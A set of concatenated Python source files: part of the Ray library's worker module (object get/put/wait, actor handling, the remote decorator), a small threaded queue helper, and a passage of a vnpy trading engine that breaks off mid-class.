# TODO(ekl) get rid of the env var hack and get runtime env from the
# task spec and/or job config only.
uris = []
global_job_config = worker.core_worker.get_job_config()
override_runtime_env = json.loads(runtime_env_json)
if os.environ.get("RAY_PACKAGING_URI"):
uris = [os.environ.get("RAY_PACKAGING_URI")]
if global_job_config.runtime_env.uris:
uris = global_job_config.runtime_env.uris
if override_runtime_env.get("uris"):
# TODO(simon): should we combine the uris from package and global
# job config if they are present?
uris = override_runtime_env["uris"]
working_dir = runtime_env_pkg.ensure_runtime_env_setup(uris)
if working_dir is not None:
os.chdir(working_dir)
# Notify raylet that the core worker is ready.
worker.core_worker.notify_raylet()
if driver_object_store_memory is not None:
logger.warning("`driver_object_store_memory` is deprecated"
" and will be removed in the future.")
# Start the import thread
if mode not in (RESTORE_WORKER_MODE, SPILL_WORKER_MODE, UTIL_WORKER_MODE):
worker.import_thread = import_thread.ImportThread(
worker, mode, worker.threads_stopped)
worker.import_thread.start()
# If this is a driver running in SCRIPT_MODE, start a thread to print error
# messages asynchronously in the background. Ideally the scheduler would
# push messages to the driver's worker service, but we ran into bugs when
# trying to properly shutdown the driver's worker service, so we are
# temporarily using this implementation which constantly queries the
# scheduler for new error messages.
if mode == SCRIPT_MODE:
worker.listener_thread = threading.Thread(
target=listen_error_messages_raylet,
name="ray_listen_error_messages",
args=(worker, worker.threads_stopped))
worker.listener_thread.daemon = True
worker.listener_thread.start()
if log_to_driver:
global_worker_stdstream_dispatcher.add_handler(
"ray_print_logs", print_to_stdstream)
worker.logger_thread = threading.Thread(
target=worker.print_logs, name="ray_print_logs")
worker.logger_thread.daemon = True
worker.logger_thread.start()
if mode == SCRIPT_MODE:
# Add the directory containing the script that is running to the Python
# paths of the workers. Also add the current directory. Note that this
# assumes that the directory structures on the machines in the clusters
# are the same.
# When using an interactive shell, there is no script directory.
if not interactive_mode:
script_directory = os.path.abspath(os.path.dirname(sys.argv[0]))
worker.run_function_on_all_workers(
lambda worker_info: sys.path.insert(1, script_directory))
# In client mode, if we use runtime envs with "working_dir", then
# it'll be handled automatically. Otherwise, add the current dir.
if not job_config.client_job and len(
job_config.get_runtime_env_uris()) == 0:
current_directory = os.path.abspath(os.path.curdir)
worker.run_function_on_all_workers(
lambda worker_info: sys.path.insert(1, current_directory))
# TODO(rkn): Here we first export functions to run, then remote
# functions. The order matters. For example, one of the functions to
# run may set the Python path, which is needed to import a module used
# to define a remote function. We may want to change the order to
# simply be the order in which the exports were defined on the driver.
# In addition, we will need to retain the ability to decide what the
# first few exports are (mostly to set the Python path). Additionally,
# note that the first exports to be defined on the driver will be the
# ones defined in separate modules that are imported by the driver.
# Export cached functions_to_run.
for function in worker.cached_functions_to_run:
worker.run_function_on_all_workers(function)
worker.cached_functions_to_run = None
# Setup tracing here
if _internal_kv_get("tracing_startup_hook"):
ray.util.tracing.tracing_helper._global_is_tracing_enabled = True
if not getattr(ray, "__traced__", False):
_setup_tracing = import_from_string(
_internal_kv_get("tracing_startup_hook").decode("utf-8"))
_setup_tracing()
ray.__traced__ = True
def disconnect(exiting_interpreter=False):
"""Disconnect this worker from the raylet and object store."""
# Reset the list of cached remote functions and actors so that if more
# remote functions or actors are defined and then connect is called again,
# the remote functions will be exported. This is mostly relevant for the
# tests.
worker = global_worker
if worker.connected:
# Shutdown all of the threads that we've started. TODO(rkn): This
# should be handled cleanly in the worker object's destructor and not
# in this disconnect method.
worker.threads_stopped.set()
if hasattr(worker, "import_thread"):
worker.import_thread.join_import_thread()
if hasattr(worker, "listener_thread"):
worker.listener_thread.join()
if hasattr(worker, "logger_thread"):
worker.logger_thread.join()
worker.threads_stopped.clear()
worker._session_index += 1
global_worker_stdstream_dispatcher.remove_handler("ray_print_logs")
worker.node = None # Disconnect the worker from the node.
worker.cached_functions_to_run = []
worker.serialization_context_map.clear()
try:
ray_actor = ray.actor
except AttributeError:
ray_actor = None # This can occur during program termination
if ray_actor is not None:
ray_actor.ActorClassMethodMetadata.reset_cache()
@contextmanager
def _changeproctitle(title, next_title):
if _mode() is not LOCAL_MODE:
setproctitle.setproctitle(title)
try:
yield
finally:
if _mode() is not LOCAL_MODE:
setproctitle.setproctitle(next_title)
@DeveloperAPI
def show_in_dashboard(message: str, key: str = "", dtype: str = "text"):
"""Display message in dashboard.
Display message for the current task or actor in the dashboard.
For example, this can be used to display the status of a long-running
computation.
Args:
message (str): Message to be displayed.
key (str): The key name for the message. Multiple message under
different keys will be displayed at the same time. Messages
under the same key will be overridden.
data_type (str): The type of message for rendering. One of the
following: text, html.
"""
worker = global_worker
worker.check_connected()
acceptable_dtypes = {"text", "html"}
assert dtype in acceptable_dtypes, (
f"dtype accepts only: {acceptable_dtypes}")
message_wrapped = {"message": message, "dtype": dtype}
message_encoded = json.dumps(message_wrapped).encode()
worker.core_worker.set_webui_display(key.encode(), message_encoded)
# Global variable to make sure we only send out the warning once.
blocking_get_inside_async_warned = False
@PublicAPI
@client_mode_hook
def get(object_refs: Union[ray.ObjectRef, List[ray.ObjectRef]],
*,
timeout: Optional[float] = None) -> Union[Any, List[Any]]:
"""Get a remote object or a list of remote objects from the object store.
This method blocks until the object corresponding to the object ref is
available in the local object store. If this object is not in the local
object store, it will be shipped from an object store that has it (once the
object has been created). If object_refs is a list, then the objects
corresponding to each object in the list will be returned.
Ordering for an input list of object refs is preserved for each object
returned. That is, if an object ref to A precedes an object ref to B in the
input list, then A will precede B in the returned list.
This method will issue a warning if it's running inside async context,
you can use ``await object_ref`` instead of ``ray.get(object_ref)``. For
a list of object refs, you can use ``await asyncio.gather(*object_refs)``.
Args:
object_refs: Object ref of the object to get or a list of object refs
to get.
timeout (Optional[float]): The maximum amount of time in seconds to
wait before returning.
Returns:
A Python object or a list of Python objects.
Raises:
GetTimeoutError: A GetTimeoutError is raised if a timeout is set and
the get takes longer than timeout to return.
Exception: An exception is raised if the task that created the object
or that created one of the objects raised an exception.
"""
worker = global_worker
worker.check_connected()
if hasattr(
worker,
"core_worker") and worker.core_worker.current_actor_is_asyncio():
global blocking_get_inside_async_warned
if not blocking_get_inside_async_warned:
logger.warning("Using blocking ray.get inside async actor. "
"This blocks the event loop. Please use `await` "
"on object ref with asyncio.gather if you want to "
"yield execution to the event loop instead.")
blocking_get_inside_async_warned = True
with profiling.profile("ray.get"):
is_individual_id = isinstance(object_refs, ray.ObjectRef)
if is_individual_id:
object_refs = [object_refs]
if not isinstance(object_refs, list):
raise ValueError("'object_refs' must either be an object ref "
"or a list of object refs.")
# TODO(ujvl): Consider how to allow user to retrieve the ready objects.
values, debugger_breakpoint = worker.get_objects(
object_refs, timeout=timeout)
for i, value in enumerate(values):
if isinstance(value, RayError):
if isinstance(value, ray.exceptions.ObjectLostError):
worker.core_worker.dump_object_store_memory_usage()
if isinstance(value, RayTaskError):
raise value.as_instanceof_cause()
else:
raise value
if is_individual_id:
values = values[0]
if debugger_breakpoint != b"":
frame = sys._getframe().f_back
rdb = ray.util.pdb.connect_ray_pdb(
host=None,
port=None,
patch_stdstreams=False,
quiet=None,
breakpoint_uuid=debugger_breakpoint.decode()
if debugger_breakpoint else None,
debugger_external=worker.ray_debugger_external)
rdb.set_trace(frame=frame)
return values
@PublicAPI
@client_mode_hook
def put(value: Any, *,
_owner: Optional["ray.actor.ActorHandle"] = None) -> ray.ObjectRef:
"""Store an object in the object store.
The object may not be evicted while a reference to the returned ID exists.
Args:
value: The Python object to be stored.
_owner: The actor that should own this object. This allows creating
objects with lifetimes decoupled from that of the creating process.
Note that the owner actor must be passed a reference to the object
prior to the object creator exiting, otherwise the reference will
still be lost.
Returns:
The object ref assigned to this value.
"""
worker = global_worker
worker.check_connected()
if _owner is None:
serialize_owner_address = None
elif isinstance(_owner, ray.actor.ActorHandle):
# Ensure `ray.state.state.global_state_accessor` is not None
ray.state.state._check_connected()
owner_address = gcs_utils.ActorTableData.FromString(
ray.state.state.global_state_accessor.get_actor_info(
_owner._actor_id)).address
if len(owner_address.worker_id) == 0:
raise RuntimeError(
f"{_owner} is not alive, it's worker_id is empty!")
serialize_owner_address = owner_address.SerializeToString()
else:
raise TypeError(
f"Expect an `ray.actor.ActorHandle`, but got: {type(_owner)}")
with profiling.profile("ray.put"):
try:
object_ref = worker.put_object(
value, owner_address=serialize_owner_address)
except ObjectStoreFullError:
logger.info(
"Put failed since the value was either too large or the "
"store was full of pinned objects.")
raise
return object_ref
# Global variable to make sure we only send out the warning once.
blocking_wait_inside_async_warned = False
@PublicAPI
@client_mode_hook
def wait(object_refs: List[ray.ObjectRef],
*,
num_returns: int = 1,
timeout: Optional[float] = None,
fetch_local: bool = True
) -> Tuple[List[ray.ObjectRef], List[ray.ObjectRef]]:
"""Return a list of IDs that are ready and a list of IDs that are not.
If timeout is set, the function returns either when the requested number of
IDs are ready or when the timeout is reached, whichever occurs first. If it
is not set, the function simply waits until that number of objects is ready
and returns that exact number of object refs.
This method returns two lists. The first list consists of object refs that
correspond to objects that are available in the object store. The second
list corresponds to the rest of the object refs (which may or may not be
ready).
Ordering of the input list of object refs is preserved. That is, if A
precedes B in the input list, and both are in the ready list, then A will
precede B in the ready list. This also holds true if A and B are both in
the remaining list.
This method will issue a warning if it's running inside an async context.
Instead of ``ray.wait(object_refs)``, you can use
``await asyncio.wait(object_refs)``.
Args:
object_refs (List[ObjectRef]): List of object refs for objects that may
or may not be ready. Note that these IDs must be unique.
num_returns (int): The number of object refs that should be returned.
timeout (float): The maximum amount of time in seconds to wait before
returning.
fetch_local (bool): If True, wait for the object to be downloaded onto
the local node before returning it as ready. If False, ray.wait()
will not trigger fetching of objects to the local node and will
return immediately once the object is available anywhere in the
cluster.
Returns:
A list of object refs that are ready and a list of the remaining object
IDs.
"""
worker = global_worker
worker.check_connected()
if hasattr(worker,
"core_worker") and worker.core_worker.current_actor_is_asyncio(
) and timeout != 0:
global blocking_wait_inside_async_warned
if not blocking_wait_inside_async_warned:
logger.debug("Using blocking ray.wait inside async method. "
"This blocks the event loop. Please use `await` "
"on object ref with asyncio.wait. ")
blocking_wait_inside_async_warned = True
if isinstance(object_refs, ObjectRef):
raise TypeError(
"wait() expected a list of ray.ObjectRef, got a single "
"ray.ObjectRef")
if not isinstance(object_refs, list):
raise TypeError("wait() expected a list of ray.ObjectRef, "
f"got {type(object_refs)}")
if timeout is not None and timeout < 0:
raise ValueError("The 'timeout' argument must be nonnegative. "
f"Received {timeout}")
for object_ref in object_refs:
if not isinstance(object_ref, ObjectRef):
raise TypeError("wait() expected a list of ray.ObjectRef, "
f"got list containing {type(object_ref)}")
worker.check_connected()
# TODO(swang): Check main thread.
with profiling.profile("ray.wait"):
# TODO(rkn): This is a temporary workaround for
# https://github.com/ray-project/ray/issues/997. However, it should be
# fixed in Arrow instead of here.
if len(object_refs) == 0:
return [], []
if len(object_refs) != len(set(object_refs)):
raise ValueError("Wait requires a list of unique object refs.")
if num_returns <= 0:
raise ValueError(
"Invalid number of objects to return %d." % num_returns)
if num_returns > len(object_refs):
raise ValueError("num_returns cannot be greater than the number "
"of objects provided to ray.wait.")
timeout = timeout if timeout is not None else 10**6
timeout_milliseconds = int(timeout * 1000)
ready_ids, remaining_ids = worker.core_worker.wait(
object_refs,
num_returns,
timeout_milliseconds,
worker.current_task_id,
fetch_local,
)
return ready_ids, remaining_ids
@PublicAPI
@client_mode_hook
def get_actor(name: str,
namespace: Optional[str] = None) -> "ray.actor.ActorHandle":
"""Get a handle to a named actor.
Gets a handle to an actor with the given name. The actor must
have been created with Actor.options(name="name").remote(). This
works for both detached & non-detached actors.
Args:
name: The name of the actor.
namespace: The namespace of the actor, or None to specify the current
namespace.
Returns:
ActorHandle to the actor.
Raises:
ValueError if the named actor does not exist.
"""
if not name:
raise ValueError("Please supply a non-empty value to get_actor")
if namespace is not None:
ray._private.utils.validate_namespace(namespace)
worker = global_worker
worker.check_connected()
return worker.core_worker.get_named_actor_handle(name, namespace or "")
@PublicAPI
@client_mode_hook
def kill(actor: "ray.actor.ActorHandle", *, no_restart: bool = True):
"""Kill an actor forcefully.
This will interrupt any running tasks on the actor, causing them to fail
immediately. ``atexit`` handlers installed in the actor will not be run.
If you want to kill the actor but let pending tasks finish,
you can call ``actor.__ray_terminate__.remote()`` instead to queue a
termination task. Any ``atexit`` handlers installed in the actor *will*
be run in this case.
If the actor is a detached actor, subsequent calls to get its handle via
ray.get_actor will fail.
Args:
actor (ActorHandle): Handle to the actor to kill.
no_restart (bool): Whether or not this actor should be restarted if
it's a restartable actor.
"""
worker = global_worker
worker.check_connected()
if not isinstance(actor, ray.actor.ActorHandle):
raise ValueError("ray.kill() only supported for actors. "
"Got: {}.".format(type(actor)))
worker.core_worker.kill_actor(actor._ray_actor_id, no_restart)
@PublicAPI
@client_mode_hook
def cancel(object_ref: ray.ObjectRef,
*,
force: bool = False,
recursive: bool = True):
"""Cancels a task according to the following conditions.
If the specified task is pending execution, it will not be executed. If
the task is currently executing, the behavior depends on the ``force``
flag. When ``force=False``, a KeyboardInterrupt will be raised in Python
and when ``force=True``, the executing task will immediately exit.
If the task is already finished, nothing will happen.
Only non-actor tasks can be canceled. Canceled tasks will not be
retried (max_retries will not be respected).
Calling ray.get on a canceled task will raise a TaskCancelledError or a
WorkerCrashedError if ``force=True``.
Args:
object_ref (ObjectRef): ObjectRef returned by the task
that should be canceled.
force (boolean): Whether to force-kill a running task by killing
the worker that is running the task.
recursive (boolean): Whether to try to cancel tasks submitted by the
task specified.
Raises:
TypeError: This is also raised for actor tasks.
"""
worker = ray.worker.global_worker
worker.check_connected()
if not isinstance(object_ref, ray.ObjectRef):
raise TypeError(
"ray.cancel() only supported for non-actor object refs. "
f"Got: {type(object_ref)}.")
return worker.core_worker.cancel_task(object_ref, force, recursive)
def _mode(worker=global_worker):
"""This is a wrapper around worker.mode.
We use this wrapper so that in the remote decorator, we can call _mode()
instead of worker.mode. The difference is that when we attempt to
serialize remote functions, we don't attempt to serialize the worker
object, which cannot be serialized.
"""
return worker.mode
def make_decorator(num_returns=None,
num_cpus=None,
num_gpus=None,
memory=None,
object_store_memory=None,
resources=None,
accelerator_type=None,
max_calls=None,
max_retries=None,
max_restarts=None,
max_task_retries=None,
runtime_env=None,
worker=None):
def decorator(function_or_class):
if (inspect.isfunction(function_or_class)
or is_cython(function_or_class)):
# Set the remote function default resources.
if max_restarts is not None:
raise ValueError("The keyword 'max_restarts' is not "
"allowed for remote functions.")
if max_task_retries is not None:
raise ValueError("The keyword 'max_task_retries' is not "
"allowed for remote functions.")
if num_returns is not None and (not isinstance(num_returns, int)
or num_returns < 0):
raise ValueError(
"The keyword 'num_returns' only accepts 0 or a"
" positive integer")
if max_retries is not None and (not isinstance(max_retries, int)
or max_retries < -1):
raise ValueError(
"The keyword 'max_retries' only accepts 0, -1 or a"
" positive integer")
if max_calls is not None and (not isinstance(max_calls, int)
or max_calls < 0):
raise ValueError(
"The keyword 'max_calls' only accepts 0 or a positive"
" integer")
return ray.remote_function.RemoteFunction(
Language.PYTHON, function_or_class, None, num_cpus, num_gpus,
memory, object_store_memory, resources, accelerator_type,
num_returns, max_calls, max_retries, runtime_env)
if inspect.isclass(function_or_class):
if num_returns is not None:
raise TypeError("The keyword 'num_returns' is not "
"allowed for actors.")
if max_calls is not None:
raise TypeError("The keyword 'max_calls' is not "
"allowed for actors.")
if max_restarts is not None and (not isinstance(max_restarts, int)
or max_restarts < -1):
raise ValueError(
"The keyword 'max_restarts' only accepts -1, 0 or a"
" positive integer")
if max_task_retries is not None and (not isinstance(
max_task_retries, int) or max_task_retries < -1):
raise ValueError(
"The keyword 'max_task_retries' only accepts -1, 0 or a"
" positive integer")
return ray.actor.make_actor(function_or_class, num_cpus, num_gpus,
memory, object_store_memory, resources,
accelerator_type, max_restarts,
max_task_retries, runtime_env)
raise TypeError("The @ray.remote decorator must be applied to "
"either a function or to a class.")
return decorator
@PublicAPI
def remote(*args, **kwargs):
"""Defines a remote function or an actor class.
This can be used with no arguments to define a remote function or actor as
follows:
.. code-block:: python
@ray.remote
def f():
return 1
@ray.remote
class Foo:
def method(self):
return 1
It can also be used with specific keyword arguments as follows:
.. code-block:: python
@ray.remote(num_gpus=1, max_calls=1, num_returns=2)
def f():
return 1, 2
@ray.remote(num_cpus=2, resources={"CustomResource": 1})
class Foo:
def method(self):
return 1
Remote task and actor objects returned by @ray.remote can also be
dynamically modified with the same arguments as above using
``.options()`` as follows:
.. code-block:: python
@ray.remote(num_gpus=1, max_calls=1, num_returns=2)
def f():
return 1, 2
g = f.options(num_gpus=2, max_calls=None)
@ray.remote(num_cpus=2, resources={"CustomResource": 1})
class Foo:
def method(self):
return 1
Bar = Foo.options(num_cpus=1, resources=None)
Running remote actors will be terminated when the actor handle to them
in Python is deleted, which will cause them to complete any outstanding
work and then shut down. If you want to kill them immediately, you can
also call ``ray.kill(actor)``.
Args:
num_returns (int): This is only for *remote functions*. It specifies
the number of object refs returned by
the remote function invocation.
num_cpus (float): The quantity of CPU cores to reserve
for this task or for the lifetime of the actor.
num_gpus (int): The quantity of GPUs to reserve
for this task or for the lifetime of the actor.
resources (Dict[str, float]): The quantity of various custom resources
to reserve for this task or for the lifetime of the actor.
This is a dictionary mapping strings (resource names) to floats.
accelerator_type: If specified, requires that the task or actor run
on a node with the specified type of accelerator.
See `ray.accelerators` for accelerator types.
max_calls (int): Only for *remote functions*. This specifies the
maximum number of times that a given worker can execute
the given remote function before it must exit
(this can be used to address memory leaks in third-party
libraries or to reclaim resources that cannot easily be
released, e.g., GPU memory that was acquired by TensorFlow).
By default this is infinite.
max_restarts (int): Only for *actors*. This specifies the maximum
number of times that the actor should be restarted when it dies
unexpectedly. The minimum valid value is 0 (default),
which indicates that the actor doesn't need to be restarted.
A value of -1 indicates that an actor should be restarted
indefinitely.
max_task_retries (int): Only for *actors*. How many times to
retry an actor task if the task fails due to a system error,
e.g., the actor has died. If set to -1, the system will
retry the failed task until the task succeeds, or the actor
has reached its max_restarts limit. If set to `n > 0`, the
system will retry the failed task up to n times, after which the
task will throw a `RayActorError` exception upon :obj:`ray.get`.
Note that Python exceptions are not considered system errors
and will not trigger retries.
max_retries (int): Only for *remote functions*. This specifies
the maximum number of times that the remote function
should be rerun when the worker process executing it
crashes unexpectedly. The minimum valid value is 0,
the default is 4 (default), and a value of -1 indicates
infinite retries.
runtime_env (Dict[str, Any]): Specifies the runtime environment for
this actor or task and its children. See
:ref:`runtime-environments` for detailed documentation. This API is
in beta and may change before becoming stable.
override_environment_variables (Dict[str, str]): (Deprecated in Ray
1.4.0, will be removed in Ray 1.6--please use the ``env_vars``
field of :ref:`runtime-environments` instead.) This specifies
environment variables to override for the actor or task. The
overrides are propagated to all child actors and tasks. This
is a dictionary mapping variable names to their values. Existing
variables can be overridden, new ones can be created, and an
existing variable can be unset by setting it to an empty string.
Note: can only be set via `.options()`.
"""
worker = global_worker
if len(args) == 1 and len(kwargs) == 0 and callable(args[0]):
# This is the case where the decorator is just @ray.remote.
return make_decorator(worker=worker)(args[0])
# Parse the keyword arguments from the decorator.
valid_kwargs = [
"num_returns", "num_cpus", "num_gpus", "memory", "object_store_memory",
"resources", "accelerator_type", "max_calls", "max_restarts",
"max_task_retries", "max_retries", "runtime_env"
]
error_string = ("The @ray.remote decorator must be applied either "
"with no arguments and no parentheses, for example "
"'@ray.remote', or it must be applied using some of "
f"the arguments in the list {valid_kwargs}, for example "
"'@ray.remote(num_returns=2, "
"resources={\"CustomResource\": 1})'.")
assert len(args) == 0 and len(kwargs) > 0, error_string
for key in kwargs:
assert key in valid_kwargs, error_string
num_cpus = kwargs["num_cpus"] if "num_cpus" in kwargs else None
num_gpus = kwargs["num_gpus"] if "num_gpus" in kwargs else None
resources = kwargs.get("resources")
if not isinstance(resources, dict) and resources is not None:
raise TypeError("The 'resources' keyword argument must be a "
f"dictionary, but received type {type(resources)}.")
if resources is not None:
assert "CPU" not in resources, "Use the 'num_cpus' argument."
assert "GPU" not in resources, "Use the 'num_gpus' argument."
accelerator_type = kwargs.get("accelerator_type")
# Handle other arguments.
num_returns = kwargs.get("num_returns")
max_calls = kwargs.get("max_calls")
max_restarts = kwargs.get("max_restarts")
max_task_retries = kwargs.get("max_task_retries")
memory = kwargs.get("memory")
object_store_memory = kwargs.get("object_store_memory")
max_retries = kwargs.get("max_retries")
runtime_env = kwargs.get("runtime_env")
return make_decorator(
num_returns=num_returns,
num_cpus=num_cpus,
num_gpus=num_gpus,
memory=memory,
object_store_memory=object_store_memory,
resources=resources,
accelerator_type=accelerator_type,
max_calls=max_calls,
max_restarts=max_restarts,
max_task_retries=max_task_retries,
max_retries=max_retries,
runtime_env=runtime_env,
worker=worker)
|
thready.py | try:
from queue import Queue
except ImportError:
from Queue import Queue
from threading import Thread
import logging
log = logging.getLogger(__name__)
def threaded(items, func, num_threads=5, max_queue=200, join=True,
daemon=True):
"""
Run a function ``func`` for each item in a generator ``items``
in a set number of threads using a queue to manage the pending
``items``.
:param items: The iterable of items to be processed.
:param func: A function that accepts a single argument, an item
from the iterable ``items``.
:param num_threads: The number of threads to be spawned. Values
ranging from 5 to 40 have shown useful, based on the amount
of I/O involved in each task.
:param max_queue: How many queued items should be read from the
generator and put on the queue before processing is halted
to allow the processing to catch up.
:param join: If this is True, threaded will wait for all threads
to conclude; it will block until all threads are finished.
If this is False, the the tasks won't block.
:param daemon: Mark the worker threads as daemons in the
operating system so that the program will terminate even if
they are still running.
"""
def queue_consumer():
while True:
try:
item = queue.get(True)
func(item)
except Exception as e:
log.exception(e)
except KeyboardInterrupt:
raise
except:
pass
finally:
queue.task_done()
queue = Queue(maxsize=max_queue)
for i in range(num_threads):
t = Thread(target=queue_consumer)
t.daemon = daemon
t.start()
for item in items:
queue.put(item, True)
if join:
queue.join()
|
engine.py | """
"""
import logging
from logging import Logger
import smtplib
import os
from abc import ABC
from datetime import datetime
from email.message import EmailMessage
from queue import Empty, Queue
from threading import Thread
from typing import Any, Sequence, Type, Dict, List, Optional
from vnpy.event import Event, EventEngine
from .app import BaseApp
from .event import (
EVENT_TICK,
EVENT_ORDER,
EVENT_TRADE,
EVENT_POSITION,
EVENT_ACCOUNT,
EVENT_CONTRACT,
EVENT_LOG
)
from .gateway import BaseGateway
from .object import (
CancelRequest,
LogData,
OrderRequest,
SubscribeRequest,
HistoryRequest,
OrderData,
BarData,
TickData,
TradeData,
PositionData,
AccountData,
ContractData,
Exchange
)
from .setting import SETTINGS
from .utility import get_folder_path, TRADER_DIR
class MainEngine:
"""
Acts as the core of VN Trader.
"""
def __init__(self, event_engine: EventEngine = None):
""""""
if event_engine:
self.event_engine: EventEngine = event_engine
else:
self.event_engine = EventEngine()
self.event_engine.start()
self.gateways: Dict[str, BaseGateway] = {}
self.engines: Dict[str, BaseEngine] = {}
self.apps: Dict[str, BaseApp] = {}
self.exchanges: List[Exchange] = []
os.chdir(TRADER_DIR) # Change working directory
self.init_engines() # Initialize function engines
def add_engine(self, engine_class: Any) -> "BaseEngine":
"""
Add function engine.
"""
engine = engine_class(self, self.event_engine)
self.engines[engine.engine_name] = engine
return engine
def add_gateway(self, gateway_class: Type[BaseGateway]) -> BaseGateway:
"""
Add gateway.
"""
gateway = gateway_class(self.event_engine)
self.gateways[gateway.gateway_name] = gateway
# Add gateway supported exchanges into engine
for exchange in gateway.exchanges:
if exchange not in self.exchanges:
self.exchanges.append(exchange)
return gateway
def add_app(self, app_class: Type[BaseApp]) -> "BaseEngine":
"""
Add app.
"""
app = app_class()
self.apps[app.app_name] = app
engine = self.add_engine(app.engine_class)
return engine
def init_engines(self) -> None:
"""
Init all engines.
"""
self.add_engine(LogEngine)
self.add_engine(OmsEngine)
self.add_engine(EmailEngine)
def write_log(self, msg: str, source: str = "") -> None:
"""
Put log event with specific message.
"""
log = LogData(msg=msg, gateway_name=source)
event = Event(EVENT_LOG, log)
self.event_engine.put(event)
def get_gateway(self, gateway_name: str) -> BaseGateway:
"""
Return gateway object by name.
"""
gateway = self.gateways.get(gateway_name, None)
if not gateway:
self.write_log(f"找不到底层接口:{gateway_name}")
return gateway
def get_engine(self, engine_name: str) -> "BaseEngine":
"""
Return engine object by name.
"""
engine = self.engines.get(engine_name, None)
if not engine:
self.write_log(f"找不到引擎:{engine_name}")
return engine
def get_default_setting(self, gateway_name: str) -> Optional[Dict[str, Any]]:
"""
Get default setting dict of a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
return gateway.get_default_setting()
return None
def get_all_gateway_names(self) -> List[str]:
"""
Get all names of gatewasy added in main engine.
"""
return list(self.gateways.keys())
def get_all_apps(self) -> List[BaseApp]:
"""
Get all app objects.
"""
return list(self.apps.values())
def get_all_exchanges(self) -> List[Exchange]:
"""
Get all exchanges.
"""
return self.exchanges
def connect(self, setting: dict, gateway_name: str) -> None:
"""
Start connection of a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
gateway.connect(setting)
def subscribe(self, req: SubscribeRequest, gateway_name: str) -> None:
"""
Subscribe tick data update of a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
gateway.subscribe(req)
def send_order(self, req: OrderRequest, gateway_name: str) -> str:
"""
Send new order request to a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
return gateway.send_order(req)
else:
return ""
def cancel_order(self, req: CancelRequest, gateway_name: str) -> None:
"""
Send cancel order request to a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
gateway.cancel_order(req)
def send_orders(self, reqs: Sequence[OrderRequest], gateway_name: str) -> List[str]:
"""
"""
gateway = self.get_gateway(gateway_name)
if gateway:
return gateway.send_orders(reqs)
else:
return ["" for req in reqs]
def cancel_orders(self, reqs: Sequence[CancelRequest], gateway_name: str) -> None:
"""
"""
gateway = self.get_gateway(gateway_name)
if gateway:
gateway.cancel_orders(reqs)
def query_history(self, req: HistoryRequest, gateway_name: str) -> Optional[List[BarData]]:
"""
Send cancel order request to a specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
return gateway.query_history(req)
else:
return None
def query_position(self, gateway_name: str) -> None:
"""
Send query position request to specific gateway.
"""
gateway = self.get_gateway(gateway_name)
if gateway:
return gateway.query_position()
else:
return None
def close(self) -> None:
"""
Make sure every gateway and app is closed properly before
programme exit.
"""
# Stop event engine first to prevent new timer event.
self.event_engine.stop()
for engine in self.engines.values():
engine.close()
for gateway in self.gateways.values():
gateway.close()
class BaseEngine(ABC):
"""
Abstract class for implementing an function engine.
"""
def __init__(
self,
main_engine: MainEngine,
event_engine: EventEngine,
engine_name: str,
):
""""""
self.main_engine = main_engine
self.event_engine = event_engine
self.engine_name = engine_name
def close(self):
""""""
pass
class LogEngine(BaseEngine):
"""
Processes log event and output with logging module.
"""
def __init__(self, main_engine: MainEngine, event_engine: EventEngine):
""""""
super(LogEngine, self).__init__(main_engine, event_engine, "log")
if not SETTINGS["log.active"]:
return
self.level: int = SETTINGS["log.level"]
self.logger: Logger = logging.getLogger("VN Trader")
self.logger.setLevel(self.level)
self.formatter = logging.Formatter(
"%(asctime)s %(levelname)s: %(message)s"
)
self.add_null_handler()
if SETTINGS["log.console"]:
self.add_console_handler()
if SETTINGS["log.file"]:
self.add_file_handler()
self.register_event()
def add_null_handler(self) -> None:
"""
Add null handler for logger.
"""
null_handler = logging.NullHandler()
self.logger.addHandler(null_handler)
def add_console_handler(self) -> None:
"""
Add console output of log.
"""
console_handler = logging.StreamHandler()
console_handler.setLevel(self.level)
console_handler.setFormatter(self.formatter)
self.logger.addHandler(console_handler)
def add_file_handler(self) -> None:
"""
Add file output of log.
"""
today_date = datetime.now().strftime("%Y%m%d")
filename = f"vt_{today_date}.log"
log_path = get_folder_path("log")
file_path = log_path.joinpath(filename)
file_handler = logging.FileHandler(
file_path, mode="a", encoding="utf8"
)
file_handler.setLevel(self.level)
file_handler.setFormatter(self.formatter)
self.logger.addHandler(file_handler)
def register_event(self) -> None:
""""""
self.event_engine.register(EVENT_LOG, self.process_log_event)
def process_log_event(self, event: Event) -> None:
"""
Process log event.
"""
log = event.data
self.logger.log(log.level, log.msg)
class OmsEngine(BaseEngine):
"""
Provides order management system function for VN Trader.
"""
def __init__(self, main_engine: MainEngine, event_engine: EventEngine):
""""""
super(OmsEngine, self).__init__(main_engine, event_engine, "oms")
self.ticks: Dict[str, TickData] = {}
self.orders: Dict[str, OrderData] = {}
self.trades: Dict[str, TradeData] = {}
self.positions: Dict[str, PositionData] = {}
self.accounts: Dict[str, AccountData] = {}
self.contracts: Dict[str, ContractData] = {}
self.active_orders: Dict[str, OrderData] = {}
self.add_function()
self.register_event()
def add_function(self) -> None:
"""Add query function to main engine."""
self.main_engine.get_tick = self.get_tick
self.main_engine.get_order = self.get_order
self.main_engine.get_trade = self.get_trade
self.main_engine.get_position = self.get_position
self.main_engine.get_account = self.get_account
self.main_engine.get_contract = self.get_contract
self.main_engine.get_all_ticks = self.get_all_ticks
self.main_engine.get_all_orders = self.get_all_orders
self.main_engine.get_all_trades = self.get_all_trades
self.main_engine.get_all_positions = self.get_all_positions
self.main_engine.get_all_accounts = self.get_all_accounts
self.main_engine.get_all_contracts = self.get_all_contracts
self.main_engine.get_all_active_orders = self.get_all_active_orders
def register_event(self) -> None:
""""""
self.event_engine.register(EVENT_TICK, self.process_tick_event)
self.event_engine.register(EVENT_ORDER, self.process_order_event)
self.event_engine.register(EVENT_TRADE, self.process_trade_event)
self.event_engine.register(EVENT_POSITION, self.process_position_event)
self.event_engine.register(EVENT_ACCOUNT, self.process_account_event)
self.event_engine.register(EVENT_CONTRACT, self.process_contract_event)
def process_tick_event(self, event: Event) -> None:
""""""
tick = event.data
self.ticks[tick.vt_symbol] = tick
def process_order_event(self, event: Event) -> None:
""""""
order = event.data
self.orders[order.vt_orderid] = order
# If order is active, then update data in dict.
